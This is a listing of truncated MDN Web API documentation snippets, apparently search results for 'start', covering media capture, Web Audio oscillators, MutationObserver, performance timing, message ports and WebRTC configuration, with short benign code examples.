h it are no longer valid for decrypting media data. mediakeysession.expiration read only the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists. this value is determined by the cdm and measured in milliseconds since january 1, 1970, utc. this value may change during a session lifetime, such as when an action triggers the
start of a window. mediakeysession.keystatuses read only contains a reference to a read-only mediakeystatusmap of the current session's keys and their statuses. mediakeysession.sessionid read only contains a unique string generated by the cdm for the current media object and its associated keys or licenses. event handlers mediakeysession.onkeystatuseschange sets the eventhandler called when...
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both immediate and event-driven matching against the state of the document. you can create a mediaquerylist by calling matchmedia() on the window object. the resulting object handles sending notifications to listeners when the media query state changes (i.e. when the media query test
starts or stops evaluating to true). this is very useful for adaptive design, since this makes it possible to observe a document to detect when its media queries change, instead of polling the values periodically, and allows you to programmatically make changes to a document based on media query status. properties the mediaquerylist interface inherits properties from its parent interface, eventtarget. matchesr...
MediaRecorder.state - Web APIs
the mediarecorder.state read-only property returns the current state of the current mediarecorder object. syntax var state = mediarecorder.state values a animationplaystate object containing one of the following values: enumeration description inactive recording is not occuring — it has either not been
started yet, or it has been
started and then stopped. recording recording has been
started and the ua is capturing data. paused recording has been
started, then paused, but not yet stopped or resumed. example ... record.onclick = function() { mediarecorder.
start(); console.log(mediarecorder.state); // will return "recording" console.log("recorder
started"); } ... specifications specification st...
MediaRecorderErrorEvent.error - Web APIs
errors. function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.
start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification. working draft initial specification. ...
active - Web APIs
new stream whose source is the user's local camera and microphone is requested using getusermedia(). when that stream becomes available (that is, when the returned promise is fulfilled, a button on the page is updated based on whether or not the stream is currently active. var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var
startbtn = document.queryselector('#
startbtn');
startbtn.disabled = stream.active; };) specifications specification status comment media capture and streamsthe definition of 'active' in that specification. candidate recommendation initial definition. ...
MediaTrackConstraints.latency - Web APIs
include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { latency: constraint }; constraintsobject.latency = constraint; value a constraindouble describing the acceptable or required value(s) for an audio track's latency, with values specified in seconds. in audio processing, latency is the time between the
start of processing (when sound occurs in the real world, or is generated by a hardware device) and the data being made available to the next step in the audio input or output process. in most cases, low latency is desirable for performance and user experience purposes, but when power consumption is a concern, or delays are otherwise acceptable, higher latency might be acceptable. if this property's v...
MediaTrackSettings - Web APIs
1 for mono, 2 for stereo, and so forth. echocancellation a boolean indicating the current value of the echocancellation property, specifying true if echo cancellation is enabled, otherwise false. latency a double-precision floating point value indicating the current value of the latency property, specifying the audio latency, in seconds. latency is the amount of time which elapses between the
start of processing the audio and the data being available to the next stop in the audio utilization process. this value is a target value; actual latency may vary to some extent for various reasons. noisesuppression a boolean which indicates the current value of the noisesupression property, which is true if noise suppression is enabled and is false otherwise. samplerate a long integer value in...
MediaTrackSupportedConstraints.cursor - Web APIs
tsupportedconstraints(). syntax iscursorsupported = supportedconstraints.cursor; value a boolean value which is true if the cursor constraint is supported by the device and user agent. example this method sets up the constraints object specifying the options for the call to getdisplaymedia(). it adds the cursor constraint only if it is known to be supported by the browser. capturing is then
started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem. async function capturewithcursor() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { displaysurface: "browser" }, audio: false; }; if (supportedconstraints.cursor) { displaymedi...
MediaTrackSupportedConstraints.displaySurface - Web APIs
playsurface; value a boolean value which is true if the displaysurface constraint is supported by the device and user agent. example this method sets up the constraints object specifying the options for the call to getdisplaymedia(). it adds the displaysurface constraint (requesting that only full-screen sharing be allowed) only if it is known to be supported by the browser. capturing is then
started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem. async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoptions.video.displaysurface = "m...
MediaTrackSupportedConstraints.logicalSurface - Web APIs
the device and user agent. example this method sets up the constraints object specifying the options for the call to getdisplaymedia(). it adds the logicalsurface constraint (requesting that only logical display surfaces—those which may not be entirely visible onscreen—be included among the options available to the user) only if it is known to be supported by the browser. capturing is then
started by calling getdisplaymedia() and attaching the returned stream to the video element referenced by the variable videoelem. async function capture() { let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.logicalsurface) { displaymediaoptions.video.logicalsurface = "m...
Media Session API - Web APIs
*/ }); navigator.mediasession.setactionhandler('seekforward', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('previoustrack', function() { /* code excerpted. */ }); navigator.mediasession.setactionhandler('nexttrack', function() { /* code excerpted. */ }); } some user agents disable autoplay for media elements on mobile devices and require a user gesture to
start media. the following example adds a pointerup event to an on-page play button, which is then used to kick off the media session code: playbutton.addeventlistener('pointerup', function(event) { var audio = document.queryselector('audio'); // user interacted with the page. let's play audio... audio.play() .then(_ => { /* set up media session controls, as shown above. */ }) .catch(error ...
Media Capture and Streams API (Media Stream) - Web APIs
nederror url early versions of the media capture and streams api specification included separate audiostreamtrack and videostreamtrack interfaces—each based upon mediastreamtrack—which represented streams of those types. these no longer exist, and you should update any existing code to instead use mediastreamtrack directly. events addtrack ended muted overconstrained removetrack
started unmuted guides and tutorials the articles below provide additional guidance and how-to information that will help you learn to use the api, and how to perform specific tasks that you may wish to handle. capabilities, constraints, and settingsthe twin concepts of constraints and capabilities let the browser and web site or app exchange information about what constrainable propert...
MessageEvent.ports - Web APIs
(where appropriate, e.g. in channel messaging or when sending a message to a shared worker). syntax var myports = messageevent.ports; value an array of messageport objects. example onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.
start(); // required when using addeventlistener. otherwise called implicitly by onmessage setter. } specifications specification status comment html living standardthe definition of 'ports' in that specification. living standard initial definition ...
MessagePort.close() - Web APIs
b workers. syntax port.close() returns void. parameters none. example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using eventtarget.addeventlistener. channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.
start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification. living standard ...
MessagePort - Web APIs
e channel messaging api represents one of the two ports of a messagechannel, allowing messages to be sent from one port and listening out for them arriving at the other. note: this feature is available in web workers. methods inherits methods from its parent, eventtarget postmessage() sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts.
start()
starts the sending of messages queued on the port (only needed when using eventtarget.addeventlistener; it is implied when using messageport.onmessage.) close() disconnects the port, so it is no longer active. event handlers inherits event handlers from its parent, eventtarget onmessage an eventlistener called when messageevent of type message is fired on the port—that is, when the ...
msFirstPaint - Web APIs
between the recorded time and midnight january 1, 1970 (utc). this property is supported only for documents displayed in ie9 standards mode. example the following example shows how to calculate the time that is required to request the document before the document begins to display for the user. var otiming = window.performance.timing; var itimems = otiming.msfirstpaint - otiming.navigation
start; ...
msRealTime - Web APIs
n the media element. low-latency playback is useful in communication and some gaming scenarios, but is more demanding on power consumption and less reliable for smooth media playback. you must set the msrealtime before setting the src property in code. msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as this can affects playback
startup latency of audio and video playback. ...
MutationObserver.MutationObserver() - Web APIs
.oldvalue. */ break; } }); } the callback() function is invoked when the observer sees changes matching the configuration of the observation request specified when calling observe() to begin watching the dom. the kind of change that took place (either a change to the list of children, or a change to an attribute) is detected by looking at the mutation.type property. creating and
starting the observer this code actually sets up the observation process. const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true, // omit (or set to false) to observe only changes to the parent node subtree: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); the desired subtr...
MutationObserverInit.attributeFilter - Web APIs
for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), we use the attribute's name, obtained using mutationrecord.attributename, to identify the type of change that occurred and then dispatch to the appropriate handler function. note the use of mutati...
MutationObserverInit.attributeOldValue - Web APIs
for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (muta...
MutationObserverInit.characterData - Web APIs
text inside, as it only monitors text nodes themselves. so either pass directly a text node to the observe() method or you need to also set subtree: true. syntax var options = { characterdata: true | false } value a boolean value indicating whether or not to call the observer's callback function when textual nodes' values change. if true, the callback specified when observe() was used to
start observing the node or subtree is called any time the contents of a text node are changed. you can expand the capabilities of attribute mutation monitoring using other options: characterdataoldvalue lets you specify whether or not you want the previous value of changed text nodes to be provided using the mutationrecord's oldvalue property. subtree lets you specify whether to watch the target ...
NDEFWriter.write() - Web APIs
s rejected or overwrite is false and there are already records on the tag. notsupportederror there is no nfc adapter compatible with web nfc, or the available nfc adapter does not support pushing messages, or connection can not be established. notreadableerror the ua is not allowed to access underlying nfc adapter (e.g., due to user preference). networkerror transfer failed after it already
started (e.g., the tag was removed from the reader). specifications specification status comment web nfc, write() draft initial definition. ...
Navigator.msLaunchUri() - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mslaunchuri() method is a microsoft extension to the navigator interface, which
starts a service or app, such as an email client, that handles a given protocol. the uniform resource identifier (uri) contains the protocol for the default service or app, such as mailto://test@contoso.com. this proprietary method is specific to internet explorer, and microsoft edge versions 18 and lower. syntax navigator.mslaunchuri(uri, successcallback, nohandlercallback); parameters uri a domstring specifyin...
NavigatorID.userAgent - Web APIs
the navigatorid.useragent read-only property returns the user agent string for the current browser. the specification asks browsers to provide as little information via this field as possible. never assume that the value of this property will stay the same in future versions of the same browser. try not to use it at all, or only for current and past versions of a browser. new browsers may
start using the same ua, or part of it, as an older browser: you really have no guarantee that the browser agent is indeed the one advertised by this property. also keep in mind that users of a browser can change the value of this field if they want (ua spoofing). browser identification based on detecting the user agent string is unreliable and is not recommended, as the user agent string is user configu...
Node.cloneNode() - Web APIs
ey 2.10)), the optional deep argument defaults to true. this behavior has been changed in the latest spec! although deep it still optional, it now defaults to false. you should always provide an explicit value for backward and forward compatibility. with gecko 28.0 (firefox 28 / thunderbird 28 / seamonkey 2.25 / firefox os 1.3)), the console warned developers not to omit the argument.
starting with gecko 29.0 (firefox 29 / thunderbird 29 / seamonkey 2.26)), a shallow clone is defaulted instead of a deep clone. example let p = document.getelementbyid("para1") let p_prime = p.clonenode(true) notes cloning a node copies all of its attributes and their values, including intrinsic (inline) listeners. it does not copy event listeners added using addeventlistener() or those ass...
OfflineAudioCompletionEvent - Web APIs
the web audio api offlineaudiocompletionevent interface represents events that occur when the processing of an offlineaudiocontext is terminated. the complete event implements this interface. note: this interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of offlineaudiocontext.
startrendering is supported in browsers, which will no longer need it. constructor offlineaudiocompletionevent.offlineaudiocompletionevent creates a new offlineaudiocompletionevent object instance. properties also inherits properties from its parent, event. offlineaudiocompletionevent.renderedbuffer read only an audiobuffer containing the result of processing an offlineaudiocontext. methods inherits methods from its parent...
OfflineAudioContext.resume() - Web APIs
the resume() method of the offlineaudiocontext interface resumes the progression of time in an audio context that has been suspended. the promise resolves immediately because the offlineaudiocontext does not require the audio hardware. if the context is not currently suspended or the rendering has not
started, the promise is rejected with invalidstateerror. syntax offlineaudiocontext.resume().then(function() { ... }); parameters none. returns a promise resolving to void. exceptions the promise is rejected when the following exception is encountered. invalidstateerror if the context is not currently suspended or the rendering has not
started. specifications specification status comment web audio apithe definition of 'resume()' in that specification. wo...
OscillatorNode.detune - Web APIs
for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.detune.setvalueattime(100, audioctx.currenttime); // value in cents oscillator.
start(); specifications specification status comment web audio apithe definition of 'detune' in that specification. working draft ...
OscillatorNode.frequency - Web APIs
node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.
start(); specifications specification status comment web audio apithe definition of 'frequency' in that specification. working draft ...
OscillatorNode.onended - Web APIs
ontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.value = 440; // value in hertz oscillator.
start(); //
start the tone playing oscillator.stop(5); // the tone will stop again in 5 seconds. oscillator.onended = function() { console.log('your tone has now stopped playing!'); } properties none. specifications specification status comment web audio apithe definition of 'onended' in that specification. working draft ...
OscillatorNode.setPeriodicWave() - Web APIs
lowing example illustrates simple usage of createperiodicwave(), recreating a sine wave from a periodic wave. var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.
start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave. here, we create a periodicwave with two values. the first value is the dc offset, which is the value at which the oscillator
starts. 0 is good here, because we want to
start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine compon...
OscillatorNode.stop() - Web APIs
example shows basic usage of an audiocontext to create an oscillator node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.connect(audioctx.destination); oscillator.
start(); oscillator.stop(audioctx.currenttime + 2); // stop 2 seconds after the current time specifications specification status comment web audio apithe definition of 'stop' in that specification. working draft ...
OscillatorNode.type - Web APIs
node. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.
start(); specifications specification status comment web audio apithe definition of 'type' in that specification. working draft ...
PasswordCredential - Web APIs
me of the user signing in. password: the password of the user signing in. htmlformelement a reference to an htmlformelement with appropriate input fields. the form should, at the very least, contain an id and password. it could also require a csrf token. examples this example shows how to set up an htmlformelement to caputure data which we'll use to create a passwordcredential object.
starting with the form element. <form id="form" method="post"> <input type="text" name="id" autocomplete="username" /> <input type="password" name="password" autocomplete="current-password" /> <input type="hidden" name="csrf_token" value="*****" /> </form> then, a reference to this form element, using it to create a passwordcredential object, and storing it in the browser's password system. va...
Path2D() - Web APIs
ath1.rect(10, 10, 100,100); let path2 = new path2d(path1); path2.moveto(220, 60); path2.arc(170, 60, 50, 0, 2 * math.pi); ctx.stroke(path2); using svg paths this example creates a path2d path using svg path data. the path will move to point (m10 10) and then move horizontally 80 points to the right (h 80), then 80 points down (v 80), then 80 points to the left (h -80), and then back to the
start (z). <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let p = new path2d('m10 10 h 80 v 80 h -80 z'); ctx.fill(p); specification specification status comment html living standardthe definition of 'path2d()' in that specification. living standard initial definition. ...
PaymentRequest.PaymentRequest() - Web APIs
thoddata, details, [options]); parameters methoddata contains an array of identifiers for the payment methods the merchant web site accepts and any associated payment method specific data. each item in the array contains the following fields: supportedmethods for early implementations of the spec, this was a sequence of identifiers for payment methods that the merchant website accepts.
starting with more recent browsers, this parameter is more generic than credit cards, it is a single domstring, and the meaning of the data parameter changes with the supportedmethods. for example, the basic card payment method is selected by specifying the string basic-card here. data a json-serializable object that provides optional information that might be needed by the supported payment method...
Performance.timeOrigin - Web APIs
note: this feature is available in web workers. syntax var timeorigin = performance.timeorigin value a high resolution timestamp. specifications specification status high resolution time level 2the definition of 'timeorigin' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
PerformanceEntry.name - Web APIs
ome performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "
starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported ...
PerformanceEntry.toJSON() - Web APIs
ome performance entries via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "
starttime", "duration"]; var methods = ["tojson"]; for (var i=0; i < properties.length; i++) { // check each property var supported = properties[i] in obj; if (supported) log("..." + properties[i] + " = " + obj[properties[i]]); else log("..." + properties[i] + " = not supported"); } for (var i=0; i < methods.length; i++) { // check each method var supported ...
PerformanceFrameTiming - Web APIs
></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties (for "frame" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "frame". performanceentry.name returns the document's address. performanceentry.
starttime returns the timestamp when the frame was
started. performanceentry.duration returns a timestamp indicating the difference between the
starttimes of two successive frames. methods this interface has no methods. example see the example in using the frame timing api. specifications specification status comment frame timingthe definition of 'performanceframetimin...
PerformanceMark - Web APIs
iv> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constraining the properties as follows: performanceentry.entrytype returns "mark". performanceentry.name returns the name given to the mark when it was created via a call to performance.mark(). performanceentry.
starttime returns the domhighrestimestamp when performance.mark() was called. performanceentry.duration returns "0". (a mark has no duration.) methods this interface has no methods. example see the example in using the user timing api. specifications specification status comment user timing level 2the definition of 'performancemark' in that specification. working dr...
PerformanceMeasure - Web APIs
hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but it extends the following performanceentry properties by qualifying/constrainting the properties as follows: performanceentry.entrytype returns "measure". performanceentry.name returns the name given to the measure when it was created via a call to performance.measure(). performanceentry.
starttime returns a timestamp given to the measure when performance.measure() was called. performanceentry.duration returns a domhighrestimestamp that is the duration of the measure (typically, the measure's end mark timestamp minus its
start mark timestamp). methods this interface has no methods. example see the example in using the user timing api. specifications specification s...
PerformanceNavigationTiming.domComplete - Web APIs
on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount = ...
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount...
PerformanceNavigationTiming.domInteractive - Web APIs
on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount...
PerformanceNavigationTiming.loadEventEnd - Web APIs
on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount...
PerformanceNavigationTiming.redirectCount - Web APIs
on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount = ...
PerformanceNavigationTiming.unloadEventEnd - Web APIs
on print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedevent
start)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadevent
start)); console.log("document unload = " + (p.unloadeventend - p.unloadevent
start)); // other properties console.log("type = " + p.type); console.log("redirectcount = ...
PerformanceObserver.takeRecords() - Web APIs
s none. return value a list of performanceentry objects. example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].
starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification. candidate recommendation initial definition of takerecords() method. ...
PerformanceTiming.connectEnd - Web APIs
operty is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.connectend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the connection is opened network. if the transport layer reports an error and the connection establishment is
started again, the last connection establisment end time is given. if a persistent connection is used, the value will be the same as performancetiming.fetch
start. a connection is considered as opened when all secure connection handshake, or socks authentication, is terminated. syntax time = performancetiming.connectend; specifications specification status comment navigation ...
PerformanceTiming.domLoading - Web APIs
this interface of this property is deprecated in the navigation timing level 2 specification. please use the performancenavigationtiming interface instead. the legacy performancetiming.domloading read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the parser
started its work, that is when its document.readystate changes to 'loading' and the corresponding readystatechange event is thrown. syntax time = performancetiming.domloading; specifications specification status comment navigation timingthe definition of 'performancetiming.domloading' in that specification. recommendation initial definition. ...
PerformanceTiming.domainLookupEnd - Web APIs
use the performancenavigationtiming interface instead. the legacy performancetiming.domainlookupend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, where the domain lookup is finished. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetch
start. syntax time = performancetiming.domainlookupend; specifications specification status comment navigation timingthe definition of 'performancetiming.domainlookupend' in that specification. recommendation initial definition. ...
Using the Performance API - Web APIs
ent the value as a time in milliseconds accurate to a millisecond. the following code example shows the use of domhighrestimestamp and the performance.now() method. the now() method returns a timestamp (of type domhighrestimestamp) that is a discrete point in time. by calling this method before and after a task, the time it takes to do the task can be measured. function calculate_time() { var
starttime; var endtime;
starttime = performance.now(); do_task(); endtime = performance.now(); return (endtime -
starttime); } serializing the performance object json serialization of the performance object is done via the tojson() method. in the following example, json serialization for the performance, performance.timing and performance.navigation objects is printed in the object eleme...
Performance Timeline - Web APIs
a single performance entry — that is, a single data point or metric in the performance timeline. this interface has the following four properties, and these properties are extended (with additional constraints) by other interfaces (such as performancemark): name the name of the performance entry when the metric was created. entrytype the type of performance metric (for example, "mark").
starttime a high resolution timestamp representing the
starting time for the performance entry. duration a high resolution timestamp representing the time value of the duration of the performance event. (some performance entry types have no concept of duration and this value is set to '0' for such types.) this interface includes a tojson() method that returns the serialization of the performanceen...
PeriodicWave - Web APIs
eperiodicwave(), to create a periodicwave object containing a simple sine wave. var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.
start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values. the first value is the dc offset, which is the value at which the oscillator
starts. 0 is good here, because we want to
start the curve at the middle of the [-1.0; 1.0] range. the second and subsequent values are sine and cosine component...
ProgressEvent.initProgressEvent() - Web APIs
use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcomputable, loaded, total); parameters typearg is a domstring identifying the specific type of animation event that occurred. the following values are allowed: value meaning load
start the operation has
started. progress the operation still is in progress. error the operation failed and didn't complete. abort the operation was cancelled and didn't complete. load the operation completed. loadend the operation stopped. canbubblearg is a boolean flag indicating if the event can bubble ...
PromiseRejectionEvent.promise - Web APIs
s up an idle callback that will retry the task that failed to execute correctly. event.preventdefault() is called to indicate that the promise has now been handled. window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(perform
startup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification. living standard initial definition. ...
PushSubscription - Web APIs
ng containing the subscription id associated with the push subscription. methods pushsubscription.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data. pushsubscription.tojson() standard serializer — returns a json representation of the subscription properties. pushsubscription.unsubscribe()
starts the asynchronous process of unsubscribing from the push service, returning a promise that resolves to a boolean when the current subscription is successfully unregistered. example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { subscription.unsubscribe().then(function(successful) { // you've successfully unsubscrib...
Push API - Web APIs
xsrf attacks for an app to receive push messages, it has to have an active service worker. when the service worker is active, it can subscribe to push notifications, using pushmanager.subscribe(). the resulting pushsubscription includes all the information that the application needs to send a push message: an endpoint and the encryption key needed for sending data. the service worker will be
started as necessary to handle incoming push messages, which are delivered to the serviceworkerglobalscope.onpush event handler. this allows apps to react to push messages being received, for example, by displaying a notification (using serviceworkerregistration.shownotification().) each subscription is unique to a service worker. the endpoint for the subscription is a unique capability url: knowledg...
RTCConfiguration.bundlePolicy - Web APIs
compatible, policy. max-compat the ice agent intially creates one rtcdtlstransport for each media track and a separate one for the rtcdatachannel, if one is created. if the remote endpoint can't handle bundling, each media track is negotiated on its own separate transport. this introduces bundling but will fall back to not bundling if the remote peer can't handle it. max-bundle the ice agent
starts by creating a single rtcdtlstransport to handle all of the connection's media. if the remote peer isn't bundle-compatible, only one media track is negotiated and the rest are ignored. this maximizes bundling at the risk of losing tracks if the remote peer can't do bundling. if any other value is specified, no configuration is specified when creating the rtcpeerconnection, or if the bundlepolic...
RTCConfiguration.iceServers - Web APIs
stablished, depending on the network's performance and how many servers get used for negotiation before a connection is established. if the list of servers is changed while a connection is already active by calling the the rtcpeerconnection method setconfiguration(), no immediate effect occurs. however, the new list of servers is used for any future renegotiation, such as while handling an ice re
start. examples the configuration below opens a new peer connection, specifying two servers for the ice agent to use for negotiation. the first one, stun:stun.services.mozilla.com, requires authentication, so the username and password are provided. the second server has two urls: stun:stun.example.com and stun:stun-1.example.com. var configuration = { iceservers: [{ urls: "...
RTCConfiguration - Web APIs
ve been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer value which specifies the size of the prefetched ice candidate pool. the default value is 0 (meaning no candidate prefetching will occur). you may find in some cases that connections can be established more quickly by allowing the ice agent to
start fetching ice candidates before you
